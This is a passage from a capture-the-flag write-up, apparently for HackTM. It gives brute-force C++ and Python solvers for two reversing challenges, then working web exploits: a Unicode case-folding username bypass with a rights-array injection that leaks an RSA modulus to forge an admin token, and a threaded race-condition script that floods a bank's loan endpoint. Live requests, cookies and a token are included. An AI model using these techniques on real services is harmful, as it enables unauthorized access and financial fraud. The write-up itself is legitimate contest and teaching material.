  52. I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
  53. #include "picosha2.h"
  54. #include "omp.h"
  55. const int C0=33,C1=27,C2=47,C3=39,C4=44,C5=35;
  56. const unsigned char req[33]={191, 215, 169, 38, 6, 20, 158, 102, 23, 156, 141, 6, 168, 186, 80, 245, 135, 162, 150, 225, 107, 64, 252, 16, 89, 235, 42, 102, 102, 10, 239, 19};
  57. char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
  58. char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
  59. char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
  60. char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
  61. char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
  62. char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};
  63. #define A(t) int c##t=c;for(char*i=s##t[x##t];*i;i++)tmp[c++]=*i;
  64. #define D(t) c=c##t;
  65. void work(int x0,int x1)
  66. {
  67. char tmp[105];
  68. int c=0;
  69. A(0);
  70. A(1);
  71. fo0(x2,C2)
  72. {
  73. A(2);
  74. fo0(x3,C3)
  75. {
  76. A(3);
  77. fo0(x4,C4)
  78. {
  79. A(4);
  80. fo0(x5,C5)
  81. {
  82. A(5);
  83. unsigned char res[picosha2::k_digest_size+1];
  84. picosha2::hash256(tmp,tmp+c,res,res+picosha2::k_digest_size);
  85. //std::string hex_str = picosha2::bytes_to_hex_string(res,res+picosha2::k_digest_size);
  86. //std::cout<<hex_str<<std::endl;
  87. //out,c,'\n';
  88. if(res[0]==191)//req[0]
  89. {
  90. fo1(i,31)if(res[i]!=req[i])goto naive;
  91. printf("%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
  92. fprintf(stderr,"%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
  93. naive:;
  94. }
  95. //fo0(i,c)putchar(tmp[i]);puts("");
  96. //fo0(i,picosha2::k_digest_size)printf("%02x",res[i]);puts("");
  97. //cnt+=c;
  98. D(5);
  99. }
  100. D(4);
  101. }
  102. D(3);
  103. }
  104. D(2);
  105. }
  106. out,x0,' ',x1,'\n';
  107. }
  108. int main()
  109. {
  110. omp_set_num_threads(24);
  111. #pragma omp parallel for
  112. for(int i=0;i<C0*C1;i++)
  113. work(i%C0,i/C0);
  114. }

The final key is learningfunfriendteamovercomingpassion, then we patched contains_key, input these keys into the binary, then we got the flag.

mama bear

It generates x86 instructions from some byte code and given key.

Here’s some python equivalent.

  1. code = '#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!'
  2. pwd = iter([5,ord('X'),0,0,0,0,0,0,ord('W')])
  3. secret=list(map(lambda x:int(x,16),'0E 8D 8E 0E 67 4E E5 E5 8E EE 2E 8D 8C AE 45 CE 6D EC A5 ED EE 8B 4E AE 0E 0E 8C AD 64 0E 86 67'.split(' ')))
  4. usecret=list(range(48,80))
  5. assert len(usecret)==32
  6. pwd_bytes=[0]*4
  7. def proc_pwd_byte(pwd_byte):
  8. four_byte_table=[1,2,3,0]
  9. pwd_bytes[0] = four_byte_table[pwd_byte & 3]
  10. four_byte_table = four_byte_table[:pwd_byte & 3] + four_byte_table[(pwd_byte & 3)+1:]
  11. t=(pwd_byte>>2)%3
  12. pwd_bytes[1] = four_byte_table[t]
  13. four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
  14. t=(pwd_byte//12)%2
  15. pwd_bytes[2] = four_byte_table[t]
  16. four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
  17. pwd_bytes[3] = four_byte_table[0]
  18. pc=0
  19. def get():
  20. global pc
  21. r=code[pc]
  22. pc+=1
  23. return ord(r)
  24. stack=[]
  25. def pop():
  26. global stack
  27. r=stack[-1]
  28. stack=stack[:-1]
  29. return r
  30. def ror(x,y):
  31. a=secret[x+1]*256+secret[x]
  32. a=(a>>y)|((a&((1<<y)-1))<<(16-y))
  33. secret[x+1]=a>>8
  34. secret[x]=a&255
  35. def rol(x,y):
  36. return (x<<y&255)|(x>>(8-y))
  37. def push(x):
  38. stack.append(x)
  39. def speco(a):
  40. b=a>>8
  41. a=a&0xff
  42. for i in range(8):
  43. y = b&1
  44. x = a&1
  45. v7 = pwd_bytes[y*2+x]>>1
  46. v6 = pwd_bytes[y*2+x]&1
  47. b = rol(v7|(b&0xfe), 1)
  48. a = rol(v6|(a&0xfe), 1)
  49. return a<<8|b
  50. def spec():
  51. a=pop()
  52. b=pop()
  53. t=speco(b<<8|a)
  54. b=t>>8
  55. a=t&255
  56. push(b)
  57. push(a)
  58. def cpu():
  59. cur=next(pwd)
  60. proc_pwd_byte(cur)
  61. while True:
  62. op=get()
  63. if op==0x26:
  64. spec()
  65. elif op==0x21: # !
  66. break
  67. elif op==0x2d: # -
  68. secret[get()-0x30]=pop()&255
  69. elif op==0x23: # #
  70. fr = get() - 0x30
  71. ror(fr,cur&7)
  72. else:
  73. assert op <= 0x30 + 0x2B
  74. push(secret[op-0x30])
  75. pass
  76. cpu()
  77. print(''.join(map(chr,usecret)))
  78. secret=usecret
  79. for i in range(8):
  80. cpu()
  81. s=''
  82. for i in range(16):
  83. s+='%02x'%secret[i]
  84. print(s)
  85. s=''
  86. for i in range(16,32):
  87. s+='%02x'%secret[i]
  88. print(s)

Each digit of the key is used twice, once be modulo 24, once be modulo 8. So there are only $24^6=191102976$ different keys.

We can just enumerate the key and solve the equation.

  1. #include<bits/stdc++.h>
  2. typedef unsigned int uint;
  3. typedef long long ll;
  4. typedef unsigned long long ull;
  5. typedef double lf;
  6. typedef long double llf;
  7. typedef std::pair<int,int> pii;
  8. #define xx first
  9. #define yy second
  10. template<typename T> inline T max(T a,T b){return a>b?a:b;}
  11. template<typename T> inline T min(T a,T b){return a<b?a:b;}
  12. template<typename T> inline T abs(T a){return a>0?a:-a;}
  13. template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
  14. template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
  15. template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
  16. template<typename T> inline T sqr(T x){return x*x;}
  17. #define mp(a,b) std::make_pair(a,b)
  18. #define pb push_back
  19. #define I __attribute__((always_inline))inline
  20. #define mset(a,b) memset(a,b,sizeof(a))
  21. #define mcpy(a,b) memcpy(a,b,sizeof(a))
  22. #define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
  23. #define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
  24. #define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
  25. #define fd0(i,n) for(int i=(n)-1;~i;i--)
  26. #define fd1(i,n) for(int i=n;i;i--)
  27. #define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
  28. #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
  29. #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
  30. struct Cg{I char operator()(){return getchar();}};
  31. struct Cp{I void operator()(char x){putchar(x);}};
  32. #define OP operator
  33. #define RT return *this;
  34. #define UC unsigned char
  35. #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
  36. if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  37. #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
  38. #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  39. #define TR *this,x;return x;
  40. I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
  41. {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
  42. {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
  43. (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
  44. {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
  45. #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  46. #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
  47. x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
  48. #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  49. template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
  50. I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
  51. (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
  52. I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
  53. const char code[]="#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!";
  54. const int req[32]={139, 164, 9, 150, 8, 129, 251, 171, 103, 110, 126, 74, 71, 68, 119, 112, 179, 101, 213, 124, 24, 97, 105, 40, 107, 47, 6, 77, 11, 67, 75, 246};
  55. const int SG=32*8;
  56. typedef std::bitset<32*8+1>bit;
  57. int to_int(bit*s)
  58. {
  59. int t=0;
  60. fo0(j,8)
  61. {
  62. t+=(int)s[j][SG]<<j;
  63. }
  64. return t;
  65. }
  66. void proc_pwd_byte(int x,int*o)
  67. {
  68. int t[4]={1,2,3,0};
  69. fd1(i,4)
  70. {
  71. int y=x%i;
  72. x/=i;
  73. o[4-i]=t[y];
  74. fo(j,y,i-2)t[j]=t[j+1];
  75. }
  76. }
  77. int pb[24][4],rc[2][2][2][2][2];
  78. bool plx[24],ply[24],plz[24];
  79. bool phx[24],phy[24],phz[24];
  80. void speco(bit*s,int pwd)
  81. {
  82. //low to high
  83. bit ta,tb;
  84. fo0(i,8)
  85. {
  86. ta.reset(),tb.reset();
  87. //out,plx[pwd],' ',ply[pwd],' ',plz[pwd],'\n';
  88. if(plx[pwd])ta^=s[i];
  89. if(ply[pwd])ta^=s[i+8];
  90. if(plz[pwd])ta[SG].flip();
  91. if(phx[pwd])tb^=s[i];
  92. if(phy[pwd])tb^=s[i+8];
  93. if(phz[pwd])tb[SG].flip();
  94. //out,(int)s[i][SG],' ',(int)s[i+8][SG],' ',(int)ta[SG],' ',(int)tb[SG],'\n';
  95. s[i]=tb;
  96. s[i+8]=ta;
  97. }
  98. }
  99. void push(bit*stack,bit*s,int&sc)
  100. {
  101. fo0(i,8)stack[sc+i]=s[i];
  102. sc+=8;
  103. }
  104. void pop(bit*stack,bit*s,int&sc)
  105. {
  106. sc-=8;
  107. fo0(i,8)s[i]=stack[sc+i];
  108. }
  109. void spec(bit*stack,int&sc,int pwd)
  110. {
  111. //exit(233);
  112. bit tmp[16];
  113. pop(stack,tmp,sc);
  114. pop(stack,tmp+8,sc);
  115. //out,to_int(tmp),' ',to_int(tmp+8),'\n';
  116. speco(tmp,pwd);
  117. push(stack,tmp+8,sc);
  118. push(stack,tmp,sc);
  119. //out,to_int(tmp),' ',to_int(tmp+8),'\n';
  120. }
  121. int get(int&pc)
  122. {
  123. return code[pc++];
  124. }
  125. void ror(bit*secret,int x,int y)
  126. {
  127. bit tmp[16];
  128. fo0(i,y)tmp[i]=secret[x*8+i];
  129. fo0(i,16-y)secret[x*8+i]=secret[x*8+i+y];
  130. fo0(i,y)secret[x*8+i+16-y]=tmp[i];
  131. }
  132. void cpu(bit*secret,int&pc,int pwd)
  133. {
  134. bit stack[248];
  135. int sc=0;
  136. pwd%=24;
  137. while(1)
  138. {
  139. int op=get(pc);
  140. if(op==0x26)spec(stack,sc,pwd);
  141. else if(op==0x21)break;
  142. else if(op==0x2d)pop(stack,secret+(get(pc)-0x30)*8,sc);
  143. else if(op==0x23)ror(secret,get(pc)-0x30,pwd&7);
  144. else push(stack,secret+(op-0x30)*8,sc);
  145. //out,op,' ',stack.size()/8,'\n';
  146. //print_str();
  147. //if(op==0x26)exit(233);
  148. }
  149. }
  150. int succ=0;
  151. void work(int k1,int k2,int k3,int k4,int k5,int k6)
  152. {
  153. int pc=33;
  154. bit s[32*8];
  155. fo0(i,32)
  156. {
  157. fo0(j,8)
  158. {
  159. s[i*8+j].reset();
  160. s[i*8+j][i*8+j]=1;
  161. }
  162. }
  163. cpu(s,pc,'X');
  164. cpu(s,pc,k1);
  165. cpu(s,pc,k2);
  166. cpu(s,pc,k3);
  167. cpu(s,pc,k4);
  168. cpu(s,pc,k5);
  169. cpu(s,pc,k6);
  170. cpu(s,pc,'W');
  171. fo0(i,32)
  172. {
  173. fo0(j,8)
  174. {
  175. if(req[i]>>j&1)s[i*8+j][SG].flip();
  176. }
  177. }
  178. const int n=256;
  179. fo0(i,n)
  180. {
  181. int t=i;
  182. while(t<n&&!s[t][i])t++;
  183. if(t!=i)std::swap(s[t],s[i]);
  184. assert(s[i][i]);
  185. fo0(j,n)if(j!=i&&s[j][i])s[j]^=s[i];
  186. }
  187. unsigned char res[32];
  188. mset(res,0);
  189. fo0(i,n)res[i>>3]|=int(s[i][SG])<<(i&7);
  190. //fo0(i,32)out,res[i],',';out,'\n';
  191. bool flag=1;
  192. fo0(i,32)flag&=res[i]>=32&&res[i]<=127;
  193. if(flag)
  194. {
  195. //out,"ok\n";
  196. fprintf(stderr,"%s\n",res);
  197. }
  198. succ++;
  199. if(succ%10000==0)out,succ,'\n';
  200. }
  201. int main()
  202. {
  203. fo0(i,24)proc_pwd_byte(i,pb[i]);
  204. fo0(x,2)fo0(y,2)fo0(z,2)fo0(i,2)fo0(j,2)
  205. {
  206. rc[x][y][z][i][j]=x*i^y*j^z;
  207. }
  208. fo0(i,24)
  209. {
  210. //out,i,':';fo0(j,4)out,pb[i][j],' ';out,'\n';
  211. bool ok=0;
  212. fo0(x,2)fo0(y,2)fo0(z,2)
  213. {
  214. bool flag=1;
  215. fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]&1))flag=0;
  216. //fo0(j,2)fo0(k,2)out,x,' ',y,' ',z,' ',j,' ',k,' ',rc[x][y][z][j][k],' ',pb[i][j*2+k]&1,'\n';
  217. if(flag)
  218. {
  219. plx[i]=x,ply[i]=y,plz[i]=z;
  220. ok=1;break;
  221. }
  222. }
  223. assert(ok);
  224. ok=0;
  225. fo0(x,2)fo0(y,2)fo0(z,2)
  226. {
  227. bool flag=1;
  228. fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]>>1))flag=0;
  229. if(flag)
  230. {
  231. phx[i]=x,phy[i]=y,phz[i]=z;
  232. ok=1;break;
  233. }
  234. }
  235. assert(ok);
  236. //out,plx[i],' ',ply[i],' ',plz[i],'\n';
  237. //out,phx[i],' ',phy[i],' ',phz[i],'\n';
  238. }
  239. for(uint i=0;i<191102976;i++)
  240. {
  241. int t=i;
  242. int a=t%26;t/=26;
  243. int b=t%26;t/=26;
  244. int c=t%26;t/=26;
  245. int d=t%26;t/=26;
  246. int e=t%26;t/=26;
  247. int f=t;
  248. work(a,b,c,d,e,f);
  249. }
  250. }

After add openmp to this program, it find lots of strings which like shuffled flag. I manually extract the real flag from it.

Web

Draw with us

First, by fuzzing, I found that hacKtm (K is chr(8490)) can beat the toLowerCase and toUpperCase.

After register with this, we can update our rights with [["n"]]. Then the serverInfo will leak $n$.

Then post init with $p=1,q=n$, we got the admin token. Just use this token to view /flag.

  1. >>> print(requests.post('http://167.172.165.153:60001/updateUser',json={'color':'1','rights':[['n']]},headers={'Authorization':'...(omitted)'}).text)
  2. {"status":"ok","data":{"user":{"username":"hacKtm","id":"c9a76173-8467-4207-99cd-e239a2b93b8b","color":1,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}}
  3. >>> print(requests.get('http://167.172.165.153:60001/serverInfo',headers={'Authorization':'...'}).text)
  4. {"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":155},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}}
  5. >>> requests.post('http://167.172.165.153:60001/init',json={'p':'1','q':'54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979'}).text
  6. '{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNTczMDAxfQ.esUKUwyiWQ-eZJHGqXKTjXalVfQTp2dPz237tnF-ZvY"}}'

My Bank

Use many threads to loan money at the same time. Then it will be race condition. Then just buy the flag.

  1. import requests,threading,time
  2. r=requests.post('http://178.128.175.6:50090/register',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','username':'testx'},headers={'cookie':'session=eyJjc3JmX3Rva2VuIjoiNzNmODQ0MzY2ZTc2NWFmODJmY2VmY2RkMWU1YmU5NjExNWZmNzIzNyJ9.XjdUZg.KqdE__xzueJrl1VUwZ_-vgc5980'})
  3. sess=r.cookies['session']
  4. print(sess)
  5. def work():
  6. r=requests.post('http://178.128.175.6:50090/',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','loan':'10'},headers={'cookie':'session='+sess})
  7. t=0
  8. while True:
  9. threading.Thread(target=work).start()
  10. t+=1
  11. if t%20==0:
  12. time.sleep(0.01)
  13. time.sleep(3)